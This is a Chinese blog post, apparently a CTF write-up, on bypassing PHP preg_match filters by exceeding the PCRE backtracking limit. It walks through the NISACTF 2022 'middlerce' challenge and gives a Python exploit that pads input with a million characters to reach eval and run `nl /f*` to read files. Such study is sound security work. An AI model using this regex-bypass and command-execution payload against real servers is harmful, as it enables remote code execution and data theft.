PHP利用PCRE回溯次数限制绕过

本文最后更新于 2024年5月14日 晚上

刷题碰到了这种题目,记录一下知识点。

首先可以拜读一下p神的文章,还是很有收获的。

文章

原理

然后我也简要的说一下吧。

常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入。

  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

就以p神举的例子,我们正则<?.*[(`;?>].*,然后输入<?php phpinfo();//aaaaa这个内容

由于有.*这个正则,可以匹配任何字符,进行贪婪模式,匹配到.*时,会把php phpinfo();//aaaaa所有进行匹配,但是应该不对后面应该还有一个字符[(`;?>](这是一个字符集匹配其中任意一个,所有我们会进行回溯,吐出a,最终直道吐出;然后可以进行匹配。这个结果满足正则表达式的要求,于是不再回溯。最后的.*匹配的//aaaaa,完成正则。

利用

preg_match本身回身回溯超过1000000会返回false绕过,我们可以构造脚本进行绕过。

例题

是先看到的题目,然后才开始找知识点的。NISACTF 2022middlerce

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

我们只分析这篇的知识点,和上面讲的差不多,cmd绕过后eval进行读取

exp:

1
2
3
4
5
import requests
payload='{"cmd":"?><?= `nl /f*`?>","test":"' + "@"*(1000000) + '"}'
#传的letter,构造payload里面的内容,?>是绕过checkdata,然后js选择cmd里的内容执行代码输出
res = requests.post("http://node4.anna.nssctf.cn:28304/", data={"letter":payload})
print(res.text)

感受:

小白学到知识还是感受良多的,之后如果遇到类似的题目也会继续加在这里。


PHP利用PCRE回溯次数限制绕过
https://0ran9ewww.github.io/2024/05/14/学习文章/PHP利用PCRE回溯次数限制绕过/
作者
orange
发布于
2024年5月14日
许可协议